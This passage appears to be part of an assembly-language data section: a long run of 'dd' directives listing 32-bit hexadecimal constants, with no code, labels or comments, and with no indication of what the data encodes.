0C00650D2h, 81C640C0h, 5ED7CA05h dd 0B1C07E40h, 0BAD16213h, 9D6B02B7h, 0D001E5C0h, 25E71B40h dd 6A50B881h, 3076E0C2h, 2B0C6410h, 6C3E530Fh, 41065C01h dd 0F0D02008h, 3D004F73h, 0C776BD2Dh, 0B6DEE93Ah, 41F61D98h dd 0F3B15166h, 0CA8F3030h, 0FCBFEA40h, 47C53D2Dh, 51414B74h dd 1416DA32h, 0B6FA7548h, 5BDD1327h, 21CDC301h, 5E206F92h dd 93705BCh, 89D1F747h, 5150CACEh, 2035FC0Dh, 586CCC2Bh dd 0E2700389h, 5B13881Eh, 129E2215h, 0BE00FB01h, 75185666h dd 512FB65Fh, 9C28EB5Ch, 1E50F71Dh, 2176F885h, 44293312h dd 6974965Ah, 0DEC9C3B8h, 0D8128079h, 6FF6E209h, 0C5E264A9h dd 71C0CB92h, 13A40865h, 6FE0BA01h, 8B7C72EBh, 9FF28101h dd 3019400Ah, 5B13757Ah, 6A09344Fh, 4B7D8B08h, 64AFB014h dd 56784892h, 18618042h, 3044F2FBh, 415A0CA2h, 0EA21D273h dd 21855A5Bh, 28133B36h, 0F0688842h, 7CD6660Eh, 9432E954h dd 3AA3E90Dh, 0AF33421Eh, 0B980F15Ch, 4C8161E0h, 9543E501h dd 45514959h, 4E9FE913h, 68C2875Ch, 7CCC5B0Dh, 0ECF90702h dd 6CC1314Ah, 0C80125CCh, 2D13D1ACh, 0BB472709h, 521850Dh dd 1B080712h, 0D1890EF2h, 98BCD4Bh, 0EF16BF29h, 34656815h dd 6C4841h, 75D050F2h, 1C5814Dh, 8A2FAF13h, 3E5DE889h dd 0BADC3CA0h, 0FE2902FAh, 6EEC15Fh, 0A8B5C860h, 109B0D4Ch dd 587E1DCAh, 0E21446EAh, 0CD0DEB08h, 0F10C9769h, 435660F7h dd 89280CC7h, 0D3010FB1h, 3DCCA941h, 0E4D02F24h, 8B5814C1h dd 0C0878714h, 850439E1h, 2A3DB202h, 1584ADFEh, 9B815328h dd 0EC44E702h, 0D0BCE968h, 0D7AD506Eh, 5D3B1F65h, 5870495Eh dd 0EE54F9A2h, 800721C6h, 0D9F66BE1h, 660EF150h, 0CA883752h dd 0E56ABD08h, 87D1E55Ah, 9DE98008h, 44FB6727h, 1600BE97h dd 5E352256h, 5EB762F5h, 7F6B8F7Dh, 0DD9B42Ah, 0FD06315Ah dd 68F95DCDh, 0B254A598h, 52788463h, 0E9571C20h, 0EE8CAB2Ah dd 0B054D482h, 8006A53Dh, 3943BB91h, 602EE7A0h, 875A9164h dd 0ABBD20EDh, 714D5C04h, 8099F921h, 419A072Bh, 0D5D4081h dd 0EFF2DD64h, 2807679Ch, 0F83059CFh, 4A0F685Bh, 0B73D232Ch dd 0DF40C0CAh, 0D9E14E9h, 549A102Dh, 42BF8080h, 0D1B0F07h dd 10C2FA01h, 596CC616h, 0D4DA3E5Dh, 2D4DEFF1h, 48BBF55h dd 0A9659450h, 8A21CED2h, 24BE2FFCh, 27665914h, 0CEEA112h dd 0FD8EE918h, 0B0E3C1B8h, 84C3007Bh, 1DB4EB8h, 1A35E9D9h dd 9D8D20DFh, 592D4835h, 4E6AB842h, 43711DB9h, 75BE7CE1h dd 25A40B58h, 0B16209B7h, 0DE30FE87h, 17B40B50h, 726163E9h dd 0CBA3205Bh, 0DE35310Ch, 930C1Eh, 0D1248E14h, 0E9D3F7E3h dd 80CF0A54h, 689F634h, 43340E81h, 225EBA02h, 0E889F242h dd 180FF6EFh, 0C4C406Dh, 0BB05ADABh, 0D9BE9C2h, 2668D58Ch dd 0C8645260h, 9318A67Ch, 2C58D958h, 0C72DE74h, 4A694687h dd 0C6BA45FFh, 7812E2C2h, 31E864FFh, 4A587C6Ah, 5C5863CCh dd 0D560A5E9h, 3F4428E2h, 56D02162h, 0BF53C8F7h, 6EDD24Ah dd 66D1D068h, 0D04B905h, 93B06589h, 7C7141F5h, 0F3BA26B0h dd 4F3916A8h, 15422413h, 323C4900h, 0CF129A7h, 1685F5Eh dd 1FF8E9DBh, 0D1F094A6h, 372A8141h, 0E753B6F0h, 186725A0h dd 3D423C48h, 1C0B86EBh, 304C8F49h, 3026E12Ah, 73B858E5h dd 0ED80070Fh, 0B715D2F5h, 2E31E86h, 414EC712h, 71202968h dd 1456135Dh, 0CEC2947Bh, 80520159h, 0E983194Bh, 957E5358h dd 0E10BFC34h, 0FC08619Bh, 2851FB68h, 4B0B68A5h, 680466CBh dd 0C232D26Dh, 14C00180h, 7727E908h, 4F556426h, 2D180771h dd 75B783CBh, 80380FD1h, 8C6FC155h, 192D355Dh, 207B1B85h dd 30B575E4h, 5E4AF548h, 0F872882h, 2431FAE5h, 68B243h dd 1969FBC1h, 25F10166h, 4BC8EBE9h, 8217A4EEh, 245C2275h dd 29151B01h, 1EDE9F7h, 9C24715Ch, 0F214B53Bh, 0B50C924Eh dd 781A94Fh, 556DABE1h, 5C826F1Fh, 0F860C127h, 0E4F759CBh dd 6C9223F8h, 18333EC9h, 7CE8C1F9h, 68C80A12h, 88C97E26h dd 82272F4Bh, 0D95C42DAh, 0DD99BCD9h, 20C85163h, 5364745Eh dd 0D6E8F223h, 25CE50CFh, 0FD010070h, 56AFED81h, 35357D05h dd 0F3C0C157h, 89624C7Fh, 784CB25Bh, 82504AD6h, 310DC000h dd 0E8973843h, 6ABB337Fh, 0F300B99h, 4D4C5783h, 1B10D30Ch dd 4E047206h, 8529D749h, 88910C2h, 1F140C68h, 0B76719E9h dd 89C920D6h, 34F07713h, 0F544A80h, 520C0764h, 6F0BC7BAh dd 68DAF700h, 0A2A81715h, 1834DECh, 2E7C96F4h, 2DEB01B4h dd 0CCB7169Bh, 513C80CDh, 5AE38986h, 0F77F3C98h, 71F06DB8h dd 0A9199328h, 3081677Ch, 0D8324F30h, 0C7860D06h, 0B1686602h dd 0C837E948h, 0B8A6B680h, 0AB30E928h, 9025B8F3h, 2956403Fh dd 0F931CF1Ch, 0B98609B5h, 53D9077Bh, 47366368h, 0A1AAA465h dd 8D9CBD82h, 0C74AB4Ah, 5C8D50DCh, 0BE48C733h, 0DCFC204h dd 0A81BB0C9h, 4771BB16h, 0EA621109h, 5E8291D6h, 109774A6h dd 4BBE2623h, 0D01D648h, 0E90CAC0Fh, 0C0A7C8D6h, 4C064CEDh dd 0E828A507h, 0D191F98Bh, 0D8D3C72Ch, 1F680A09h, 0F75169h dd 0CAFECEB2h, 8003D2F6h, 0B3532CC2h, 0C1D3C33Fh, 3A9C06EBh dd 0E9D0055Bh, 0EF1AE433h, 0C3B06978h, 22C2B494h, 61FE5C02h dd 0BF5143E9h, 6E500F12h, 665B6F40h, 0A4166ABCh, 42D38272h dd 598D01E3h, 1DC5866h, 82D4B8F2h, 0D8EE8308h, 5C381611h dd 0F1D70556h, 44F9CD20h, 8208B949h, 494744E9h, 7571C3CAh dd 4B887C24h, 6F00C8C7h, 7C14852h, 68DD657Eh, 5611F767h dd 18851DD3h, 87C1A9CAh, 49AA3025h, 1267076h, 8202DF9h dd 5668AA9Fh, 8827EFA5h, 280B78DCh, 34DCE4F7h, 0E8163FFCh dd 2314A5EAh, 0B7E98F8Bh, 0A706B384h, 25D6BEEEh, 0FA42B3B0h dd 959E386Ch, 41C008h, 552ABE56h, 0B59861A8h, 0A970A29Dh dd 0EB9B68F9h, 0B691E91h, 5322D356h, 16F95E46h, 5F73C3E6h dd 512C38F1h, 786D09EDh, 0B050C0C6h, 43B35Bh, 0B558C330h dd 0E9C5FE36h, 4F89E04Dh, 487EF58Ah, 1C922701h, 684ADD1Ah dd 0F47C7181h, 47883F05h, 10ED2D0Bh, 16D02606h, 0ABE90EC4h dd 281205BCh, 366C88C8h, 594A8A9Ah, 7F12246h, 0FED84871h dd 3D236809h, 0B30E5F44h, 675DB680h, 0C66328EEh, 51DE80ACh dd 0F937EB5h, 0DDF6D4E5h, 4802CDA9h, 5D04607Ah, 4AD1F980h dd 29063AA5h, 0F54C7CDCh, 0AFF35072h, 0CCA0973Eh, 50C92A85h dd 220C0CCEh, 0E031B187h, 6577210Ah, 4905581Ch, 261CADE9h dd 5C25EB47h, 48780120h, 0C10013A3h, 290506E0h, 0DD4C6217h dd 0CC2DC110h, 389A2295h dd 9B322A29h, 50593438h, 8240ECD0h, 0F229005Fh, 0BF57425Eh dd 582C1AF9h, 3334A2BCh, 0CDF22D94h, 9C25533Fh, 29319D0Ah dd 0D0F0983Eh, 8180D5EEh, 1A380BCFh, 996052F8h, 0F77FEF87h dd 81208D9h, 17E6B720h, 27CCF70h, 9671EA0Ch, 28FBF0E1h dd 2384D03Dh, 38CAA502h, 6A195F8h, 0F58F6051h, 6523504Bh dd 0A434C5Ah, 0A522A212h, 53F3007Bh, 30042FB6h, 0C288E9EEh dd 159E1EACh, 5732E39Fh, 64C435D2h, 2659760Bh, 28D1451Dh dd 37A60A0Bh, 1A57D03h, 25E35B2Ah, 2B93C09h, 524266C2h dd 94A76367h, 58E66290h, 240CE680h, 1346C6FEh, 5A130F31h dd 0A6E9F8C1h, 31952575h, 3312E545h, 58D462E9h, 7867C372h dd 0DBB93EFEh, 0CA313FFCh, 0D3EE59B3h, 53081E50h, 879029FAh dd 5B0F0564h, 0CCCB8D87h, 34FC2022h, 6E2249Fh, 43E3C2h dd 4E197A05h, 7E20AFB0h, 10664AE8h, 9E18BFFBh, 0F66814BCh dd 6ED9555Bh, 0B48F067h, 980BD38h, 0EDC13D5Ah, 0DD0DF708h dd 140DC581h, 0E3F48C8Dh, 2AE12364h, 0E0D09EE5h, 21D0DF5Ch dd 82D0C75Bh, 0CD906AA8h, 0E21C77C1h, 0AFA8118h, 0CA10EF2Fh dd 1DDC4007h, 5C570972h, 0DE3CB2D2h, 24DCB2F0h, 589FAF81h dd 0DE42D329h, 82B7712Eh, 36CF805Fh, 30AE2FE0h, 30CFDEA3h dd 0E9FA2884h, 6B16DB5Fh, 63435C0Bh, 60D98213h, 80E5C5E7h dd 6A4EE868h, 5A6F78CCh, 7B7F4937h, 4A59A9E0h, 7E2C118h dd 27249396h, 2520184Dh, 0CB02CDC6h, 5DA7250h, 7FF7E92Eh dd 0C625A5ABh, 0E90DC455h, 1A2ACACh, 181D0EB8h, 0A97C480Ah dd 20BDB074h, 5B5B6B47h, 6EF01B8Dh, 418D757h, 1BBA14Bh dd 5D58C201h, 524D096Bh, 145A6849h, 0D67869C2h, 85BB1ED2h dd 0C2204962h, 386AF8B8h, 59C18043h, 10A7EDh, 0A6E18185h dd 60773B5Eh, 0F979047Fh, 0C4298288h, 7E45E3A7h, 6213454Eh dd 0DAC12AC1h, 82159F70h, 180846F1h, 3622428h, 15E2029Ah dd 6FF8CBDAh, 1600BD9Ch, 898F6EC5h, 45973CAh, 0F8015AD7h dd 7835F55Fh, 0E958C104h, 8351D6F6h, 0F0785DEFh, 596DE9A0h dd 0EC38ADBAh, 0C4EA739Bh, 0D917F4EBh, 5C0BD8ABh, 0CC5F5457h dd 0CFDF485Eh, 0CBA73D27h, 1D348202h, 1B25B06h, 2E436AD6h dd 0FD01C183h, 6BC32562h, 8257E562h, 0D47A76ECh, 26E169D6h dd 0C0343C4Ah, 92B116Dh, 0EE972C05h, 26502689h, 39280B6Ah dd 0AD2A1AD8h, 0B03D1A74h, 0ED924C4h, 0C3685D82h, 9610A802h dd 90C55B92h, 0EAD087E7h, 16299584h, 81B47767h, 0FBDCCB0h dd 44237D8Ch, 0E61AC644h, 0F0528398h, 8BF1C25Fh, 0A147509Dh dd 0CD3886B2h, 3906C02Dh, 62E1B5ECh, 0DE881619h, 0E00F0D85h dd 515887E6h, 0EBD4F5B7h, 0A4AC3A3h, 0A6F44A2Fh, 46890C21h dd 4003EA9h, 0E82106EEh, 0B8D8F75Dh, 7449469h, 277016B8h dd 50D3A340h, 5CAC700h, 0F76DCF30h, 0CD04DFD2h, 60AED75Ah dd 0BA80B9D3h, 175F1889h, 26473245h, 0E20D662Dh, 0D91740B6h dd 6E69260Ah, 6B0F3880h, 0F280358Fh, 24860204h, 89D5012Dh dd 2820E5ECh, 0FF29F75Ah, 5B074884h, 51E19A10h, 31BF92F0h dd 0F1E9F95Ah, 470FA60Eh, 0F157560Bh, 5DAF3F0Fh, 894134E2h dd 5BF328F2h, 5C0472CFh, 0CC101368h, 68BC5496h, 2F481D10h dd 5E8AAA72h, 3116AD2Dh, 7F4A9333h, 392F4245h, 831D4E7Bh dd 47D85D01h, 6F072E24h, 4F29640Bh, 82315972h, 6C88AC4h dd 0C0D5DB5Eh, 0FE487824h, 16F53F34h, 1DF3E831h, 4043BE50h dd 0D15E0811h, 18026B13h, 408859C8h, 0AB4012EDh, 30382884h dd 561E4CA4h, 4F64AF05h, 5E2BA463h, 0D83BA7A1h, 0E9777043h dd 0FB42B6AAh, 0D2EEA65Eh, 455B638h, 0CA1EF5BDh, 0E1C4C211h dd 8208EEE4h, 42FB0215h, 42FC20E8h, 1564663h, 726FED4Fh dd 685B3FDAh, 0E9550517h, 0D54B223Dh, 0F5D707CDh, 2FCC4551h dd 7CD73283h, 0C036033h, 516E5039h, 0BF822053h, 0B86A77EAh dd 0BBE5470Ah, 565DBB47h, 0F8D1577h, 68C29838h, 0FE4655BCh dd 500F58C9h, 3287ED06h, 0FB74EC12h, 6A12C50Ch, 4EF86006h dd 1F537AE9h, 0CFE7EA81h, 0EF694C71h, 1B7EFEC2h, 26C229E3h dd 44C36434h, 10FACAEFh, 572D4315h, 127B6900h, 51FA3444h dd 8374135Eh, 32DC7A96h, 0E2C50DFBh, 41BB1171h, 5CA5323Fh dd 42688748h, 52AA690Bh, 317A45Ah, 0F200C3ECh, 2917AE0Ch dd 0E4FFD509h, 19264AE5h, 0CD01789Eh, 137D3CF2h, 9DA7D341h dd 1B890FE0h, 0FB7FE9EFh, 4FB8CFE8h, 0C103DB1Fh, 0E741025Eh dd 19821F3Eh, 16FF893h, 0FB01F94Eh, 36EAD85Fh, 7D0D9495h dd 16094BF0h, 56EA802Fh, 8EA85150h, 0CC0A0C7Ch, 62D5823h dd 4FB9D63Fh, 0C14B308Ah, 2ADFE760h, 676F9890h, 0B05E6D3h dd 47423545h, 0F2DDC05h, 51A35F07h, 0D48F644Eh, 0A6D3C1D8h dd 0C380006Ah, 0DA880E31h, 516FF65Bh, 9D70EEC9h, 9E8B06BEh dd 25BC59E8h, 925643A4h, 50795EEBh, 20D5ECADh, 17901FB6h dd 0C91A3427h, 0CA79A3F7h, 0D9B6FC17h, 0E880406Fh, 160F4A0Dh dd 0D452D529h, 4E5A8C08h, 4212406Dh, 763FA7A3h, 8140BB62h dd 0E8C9EB81h, 57A12DBh, 40B1959h, 0BCD69043h, 1B83804Eh dd 9C570C71h, 220153DDh, 580EC5E5h, 6D9C15Eh, 18CEDF20h dd 742284DBh, 3AE25D6Dh, 5BD82902h, 8905E801h, 5683380Ah dd 0B5E26168h, 9516B2E9h, 48807C0Bh, 78211621h, 1EF3D71h dd 0A1072993h, 16ED27B0h, 5210A35h, 7405D497h, 0C139C340h dd 25A0404Ch, 5CA4642Ah, 610B3042h, 0A500C541h, 0DA541CF1h dd 0D9F71417h, 7295B001h, 69D50F8Fh, 2C33C9F2h, 16D0ED04h dd 7BB37EFAh, 56D3094Eh, 6AACB380h, 0E9122E90h, 8D2937F5h dd 0C4DD9CECh, 0ECD15954h, 7C2A1EA0h, 0C38C45DFh, 60E1AB43h dd 41B58C04h, 1CC8DEA6h, 0C3AC1609h, 0F0826B73h, 0E9FD0400h dd 36DF5EDEh, 0E0E69834h, 0AFD0D190h, 0BCA71397h, 1F26C0B3h dd 0EA3187A1h, 300C825Dh, 75955259h, 2C593F9Eh, 46A5A383h dd 849E5AC1h, 807FA9D3h, 6275762Bh, 60E92D50h, 0BAE5550Fh dd 83E35Ah, 0B252BCB3h, 27D3306Ah, 0F08A41E9h, 0B1EE09ADh dd 893FDAF8h, 743715F2h, 0B55F13A0h, 0D4C22B27h, 0E29E55B7h dd 0FF8CC24Bh, 0A14F55E9h, 3F67BB71h, 96AEEF21h, 0C32C1E4Ah dd 0C2208D9Bh, 0FEA6A231h, 26A15CC9h, 5CF4221Bh, 0F278B15Fh dd 4FDEBCDBh, 67429106h, 0A402C025h, 6C8D32Bh, 5DB44EF6h dd 4392C877h, 12C8890Fh, 0E9A042A8h, 0B09D3A5Eh, 1DE505B1h dd 420C9143h, 3C48252Ch, 0DD087E7Ch, 0B5680506h, 65ED6139h dd 75232E47h, 0D37E3F9Dh, 54AC9564h, 0F8565E42h, 0FFDFDBB2h dd 0BFFFC05Bh, 0F82C09CDh, 0B402196Dh, 80343716h, 0F442B2B3h dd 19295807h, 0DFD34C73h, 24433605h, 3524882Ch, 6F565841h dd 7574A12h, 77FE091Ah, 4C994B7Bh, 4B2D3E58h, 9889246Ah dd 9905E9ACh, 1222C60h, 807F9B1h, 0D5AC63D5h, 34C4295Eh dd 7410FE55h, 6416FA5h, 44E9838Bh, 8959B260h, 0B6A3DD4Ah dd 0F5022C48h, 0E770F712h, 36C37260h, 5E525E80h, 530F4554h dd 3EA0B24Bh, 59E9DD57h, 93C5A5E3h, 0E9A048B8h, 29C51BCh dd 0D1DC280h, 2968D556h, 80FB0765h, 0C40B850h, 314B5855h dd 0E90A2B94h, 42300CF6h, 276165CEh, 99C53F1Eh, 3705B91Ch dd 73B14AABh, 1057A20h, 297F1733h, 6F93E9EEh, 64BA0100h dd 0B83D5437h, 4574A147h, 0C358236Ah, 2BB379C9h, 0EEA49612h dd 8B01BE28h, 21DA59CAh dd 3791E20h, 0D78FC381h, 59DAC7DCh, 925AD78h, 4C6C9AD3h dd 8CB80081h, 0C1626116h, 0F70008E8h, 5DA90DD8h, 0C052553Dh dd 0EC394EBEh, 6B02BA60h, 0E908B624h, 2C4F5E74h, 34A08D1h dd 0A3E5C00Eh, 99EEC580h, 0EBC0F9EDh, 44069759h, 1290C466h dd 5CD70E6Ch, 8B5A12C6h, 0D0094150h, 606E5F6Bh, 5B1F14B1h dd 50374B0Dh, 0E7F5FB13h, 25A7525Bh, 7D624CE9h, 5FAFB960h dd 3AD1A74Ch, 5C01C06Ah, 2807C8EFh, 0E923981Ch, 0FC714548h dd 0DC984C92h, 3869C217h, 6CD5810Dh, 0F4010804h, 0A4E234F5h dd 4E6F29CCh, 4E0D8B24h, 831F788Ah, 46C6ECEEh, 583B19DDh dd 0E33EA752h, 37ABFC82h, 568E11Ch, 9AD6283Ah, 3C478054h dd 130D886Ch, 0B208C7E9h, 33E3072Ah, 9DC22D96h, 20AED2D3h dd 0B6ACDAB6h, 508B4793h, 0EA2C90B2h, 0A55F8148h, 0A48FCC2Ah dd 30B70166h, 55E933CAh, 7693622Fh, 21E8A097h, 90742C47h dd 78AC0EABh, 0E2C34A4Dh, 46BB4330h, 918CEAE0h, 12A8F827h dd 0AE3C55B0h, 0DB52B398h, 6FE307EDh, 0C1B2194Dh, 25CECCB7h dd 7CE65DBAh, 1836D820h, 4B5F9168h, 89A6D083h, 2374524Bh dd 30E9D1F0h, 0D107225h, 620155E3h, 36883563h, 99D47774h dd 343C0106h, 43530E25h, 2D942057h, 8D69D01h, 58C5319Bh dd 642C127Bh, 0D2F35EB9h, 0F71EA0E1h, 0D12C68ECh, 0DEC4351Bh dd 0B151E4D0h, 0E1801CC6h, 0D1F1CE13h, 2DF1CB0Ah, 8B70BE89h dd 51209386h, 0C028F4D2h, 163F2D15h, 88B714B1h, 8806075Dh dd 9D9E5818h, 2716DB8Eh, 8C7776AEh, 5100C885h, 2F01BA52h dd 0C786018h, 4E487D21h, 0C305E913h, 13BB4990h, 61665E67h dd 6F2E8943h, 0F5D76434h, 6FE2E3B7h, 80AFD135h, 78FF7EF0h dd 303AFC0Dh, 0E992854Ah, 0E644124Eh, 87BC178Bh, 8213EDF5h dd 0D17F1068h, 6376AC76h, 8F4B5EF1h, 59E97992h, 0FE1A0865h dd 8557530Fh, 5AB95217h, 1E84E7D4h, 0BB66014Fh, 7F308BC8h dd 0B632B501h, 1B2E9701h, 0DF84CE12h, 1022ADF6h, 0AF590761h dd 0A90B5103h, 0D5E94F54h, 0C2992808h, 465FB968h, 255CA513h dd 6BD96E00h, 0F7124612h, 2AE843DBh, 7302268Fh, 0CF25301h dd 50C95B69h, 744F208Fh, 58C32912h, 970DD1B4h, 1C5DD0C2h dd 0A0E916B0h, 71E7916Ch, 2DCB5A23h, 8662CC58h, 5DE827C3h dd 425E3C42h, 13E3550h, 5220574Bh, 4D73CF68h, 3B58E0E5h dd 4CA627h, 150862Bh, 83DE807Ch, 0E9C8A704h, 540E4BDAh dd 414713C6h, 44A2E64Eh, 7D90B880h, 3FB676B2h, 67577516h dd 0C290BBA6h, 3926890h, 0B461746Eh, 84B401DBh, 0E90805CFh dd 7829F1FAh, 88072E24h, 193D4C16h, 652EEED9h, 0B39A20E5h dd 212B1D3h, 248167E9h, 0DC9FD04h, 42AD9D1h, 733F290h dd 0F307DDB6h, 67D5E594h, 2FEBCC04h, 1CC49FC1h, 0CB27CF55h dd 60C83BF2h, 0D5AF4503h, 502821ACh, 0B680CACh, 93427A17h dd 0FA6E920Ah, 0F2139789h, 78AC8BA0h, 66530930h, 7602CB68h dd 0CBDEBC51h, 7DDDB840h, 313C133Ah, 6400BC1h, 6912CD79h dd 7CF72410h, 8F796E45h, 0CC10884Bh, 0F652FB60h, 7AF580D5h dd 2FEFDCD9h, 0CE00F28Bh, 4D8949B3h, 0C6DA83B7h, 198ED962h dd 0BDD133Bh, 73C9ED1Dh, 18472CD8h, 0F188EB29h, 0FA12F668h dd 2E6BB2CBh, 1024DDF6h, 65585Bh, 59EC30F8h, 0E58E528h dd 4BB05066h, 2EDEC5EEh, 0E9BB0479h, 4022F1E3h, 27659560h dd 0B3727164h, 8A4AFDF8h, 93AB5D98h, 923B634Ah, 42C260AEh dd 0D5F96Eh, 0BD0B3417h, 0FD325746h, 0E0C1E918h, 0E5E953C0h dd 0A50DC8FAh, 1CCF0D02h, 0FD0BA12Dh, 0E3012EC3h, 0D46E9BB9h dd 0FFD9C72Fh, 3B632FABh, 0C65B0C98h, 9A59F5B8h, 0D5F71257h dd 0A80451B1h, 88680590h, 3B4D2601h, 16F107C5h, 4944D26Fh dd 0B42BF3E2h, 66852351h, 3E88B30Fh, 12989C64h, 0B451F858h dd 4108EBC8h, 0DF7F2056h, 112D5112h, 2F792609h, 0E9D712B0h dd 0F9F36BD9h, 317F2F30h, 3D1B4F19h, 7FB984A2h, 1A21DCCDh dd 78986844h, 0A3BF4E55h, 89CC2544h, 3D4245FAh, 0C69432B1h dd 9B486C4Ah, 54A5DAF5h, 3680B6Ah, 98D1DBC3h, 1D892B47h dd 0BF616660h, 0D6901A13h, 3A3F4C59h, 2510165Dh, 2EF0772Dh dd 0EB808053h, 0D3F6111Eh, 2E2459B8h, 2B42935Eh, 0CA46CDh dd 0ABB1D6B0h, 2897C180h, 0B67552E6h, 0DF78E9F0h, 0A91AF16Eh dd 6874015Ah, 4C2F6D4Ch, 0F6AC8633h, 8F0BD26Fh, 13D14D59h dd 0FE1908BBh, 82B44CC1h, 0C8306206h, 81395959h, 0B47EB551h dd 0F6AA2493h, 5009DC7Ah, 526B23E9h, 60410970h, 2B067842h dd 55AEA45h, 43C75813h, 0DC591FB0h, 9C9EC4Ah, 1D703EF9h dd 41098F00h, 829F4206h, 50E62BFh, 9204ECBBh, 0E2C86204h dd 5F0E9BFDh, 3E393B14h, 263A948Bh, 703605C2h, 3EBC0322h dd 37000669h, 3809ADC6h, 434FB2CBh, 0ACA4A9D3h, 0F0010A9Bh dd 0BBC66460h, 12693127h, 0B24C1A68h, 560B7C34h, 91B8366h dd 862A81DDh, 81F8B46Eh, 0CFFC00EDh, 0EB3174E5h, 0D95E295Dh dd 508F7C92h, 0A04E608Ch, 279406DDh, 0D6E47B98h, 686464Ch dd 2D926686h, 1330094Ah, 108B454Dh, 2F08D708h, 0CC2F8165h dd 0E1C517CAh, 0CDC5B026h, 2D084AD0h, 0CB11E659h, 0C5D11E92h dd 0E2E9E2Ch, 0DBC05117h, 34A739FAh, 0D565D56h, 40705907h dd 29375B30h, 0FC09AA2h, 615C8BE9h, 0E768C6BEh, 5C11FA61h dd 849E296Fh, 0C2746414h, 0B8E00548h, 0A5007BE3h, 41F28119h dd 5F1A065Bh, 0CFEB8131h, 5600775h, 24E034C7h, 0B278909h dd 0F9713FD5h, 0DB4C09A5h, 0F8CD1227h, 0DEC45E26h, 895B70D1h dd 41103970h, 3EB4CC50h, 58E7301Ch, 84D8F814h, 4FBA5561h dd 44396CEDh, 5A378C8h, 3E3D685Fh, 0DAA173CDh, 0EEA83CC2h dd 12D7909Ah, 1307C177h, 8CC1168h, 85A0814Bh, 7B1C06E1h dd 395F0065h, 3BDBF381h, 80A131A5h, 0CBB00772h, 7BA01159h dd 14BB2D4Bh, 1959BFBAh, 0B029348h, 46163568h, 5481F060h dd 0F176CC62h, 2E9B3D6Fh, 71727D2Dh, 4571D018h, 5B802961h dd 0CE4B01h, 34214F74h, 0D00BF730h, 664135h, 47110555h dd 0C6EACAE0h, 93FA17C9h, 3FABF6DCh, 0EFB03ABBh, 219A23B6h dd 620790ECh, 0F7017137h, 807C7E5h, 7BFB7FE9h, 3F4EAE80h dd 0A3005A2Fh, 984AD2BBh, 0FF1E34E5h, 26EBF144h, 3DB23913h dd 0A19A303Eh, 0E96C1AAAh, 0F8DA16A1h, 76835239h, 0ABD20BA8h dd 0D7823118h, 1E6AC2EEh, 5F1E38DCh, 684BE1BAh, 0F82D1D37h dd 38B4E14Bh, 0B87A236h, 0B94EC064h, 84FC7B84h, 0F8505632h dd 0A8B62D24h, 96370593h, 51959844h, 6AB66815h, 9A522D1Ah dd 736CA31Fh, 11CE060h, 1410DF54h, 5A810C44h, 25F8E959h dd 0C481D8B8h, 25D0E79Dh, 541DB340h, 53DE6880h, 2A98582Ch dd 58804333h, 0E8D14CF7h, 0B22B7B0Fh, 62BBBF1Dh, 8910A206h dd 96B7D0CEh, 950684D3h, 594885E4h, 0FA098959h, 0A9B12054h dd 0BC016B0h, 0D6630725h, 191B981Ch, 7AC1352Ah, 8264C0F1h dd 6F215E26h, 40041C3Eh, 45CC839h, 15A26858h, 389633AEh dd 5259F312h, 0D012191Fh, 0DECCAA53h, 58542768h, 0E293A9F1h dd 0AAA80052h, 0AD19E3A7h, 0F8BE1C2Dh, 3F2548B5h, 0C20D0134h dd 8B5C2DD3h, 0BAC2C550h, 0EB0105AEh, 0A944F1E9h, 0F07310BEh dd 21E68101h, 3A6E117Dh, 679E8587h, 682454B3h, 0B51635FBh dd 0EAF9FC8Ah, 2D12C20Fh, 6A9F7E4Fh, 705F0CAh, 0F1A54B26h dd 5B4AE90Eh, 70B43F80h dd 81003F10h, 4371D2E2h, 4BF571Fh, 66E755D8h, 41F38047h dd 75184229h, 6E10DFF7h, 5BD2300Bh, 57D43C0Ch, 50299F2Dh dd 0B3E34B31h, 0F7680A00h, 88CFCF4Fh, 1702411h, 592812EFh dd 586BF075h, 50CB36BEh, 0C493BDCEh, 92DD74Dh, 0D121A0E9h dd 0E1F689EEh, 0CC58DFF8h, 75BB1388h, 72C6EBF3h, 0BB00A4A8h dd 1ABF0189h, 0B05BDF29h, 0D12A2572h, 56D8D8CBh, 0C2EC45A2h dd 0E97848B5h, 0F53FD353h, 480B201Eh, 5E7E84Eh, 5526CE57h dd 8B422D6Fh, 6FA8F57h, 46DDCCEh, 514C2CC5h, 29EEE00Dh dd 9D966E90h, 1A78BA50h, 7426201Eh, 0A2BEB3E0h, 11F2A30Bh dd 4760B01h, 0FBF088A8h, 8A79046h, 13775E09h, 786B5B0Bh dd 0B8F9A326h, 4CF71952h, 4278BD9h, 0A6269145h, 977FF600h dd 5F58138h, 61B10ED8h, 8235E045h, 9F1F283Bh, 0CE30CAE9h dd 966BDBAh, 0FA8735DDh, 0E7AB7B06h, 22BEC604h, 62C14CECh dd 1980B069h, 4776A0F7h, 0F82F89E7h, 8B44C95Fh, 0D1D45CCAh dd 7D9C8057h, 8941101Eh, 2D5D00EFh, 15CF6F8Ah, 551F829h dd 11A57907h, 4A48AD0Dh, 0A81C615Bh, 0D4C4044Bh, 0B57FABACh dd 6E403813h, 7FC1A1ADh, 310BE8C1h, 4BB968D0h, 9922512h dd 4AA9C908h, 4910F2D0h, 0FE0EE220h, 8C2C0C2h, 625867E9h dd 74C92C9Eh, 92D0B469h, 9960F11Dh, 0EE952A59h, 0A10D5577h dd 8008D33Dh, 99283106h, 1F5E082Ch, 0E3736640h, 0A2ADA419h dd 250A0CFEh, 49CA0308h, 54293E69h, 6C52107Ch, 0CEF24B0Ch dd 5BD6B269h, 2B7D9A81h, 0D83B592Dh, 0D8651F97h, 10AAD39Dh dd 6A89C262h, 726844C0h, 210D371Eh, 59BFBD89h, 0DDB70F65h dd 0F1C02C4Bh, 9D2EAD05h, 0C20E6E1Fh, 14872558h, 29EADE34h dd 7F1222ACh, 99C11A59h, 20110224h, 0C0EF78FEh, 0E989CE80h dd 48D0BABEh, 0D9022FADh, 0F73A901Eh, 74A100D5h, 0B061B5BBh dd 0BA3B5817h, 70A7281h, 663303Dh, 73E18080h, 69F13DC2h dd 0A36F7D97h, 0C9E102Eh, 39EAD107h, 26C392D0h, 1A0E1AC4h dd 0C0684046h, 0EF138BE5h, 1A456030h, 38FB55AFh, 0AD4DB398h dd 27409742h, 4F0E2F44h, 0EBC1035Bh, 0D1DBF702h, 40F381A8h dd 6CA33616h, 4A5B8A03h, 87F2D842h, 34351360h, 24EE8C1h dd 4018B9CAh, 0BB80804Ch, 5ECC6DDh, 9CE9EA31h, 701CF2D1h dd 0D049D84Ah, 685721F6h, 993E7643h, 0A6FC45E3h, 81619606h dd 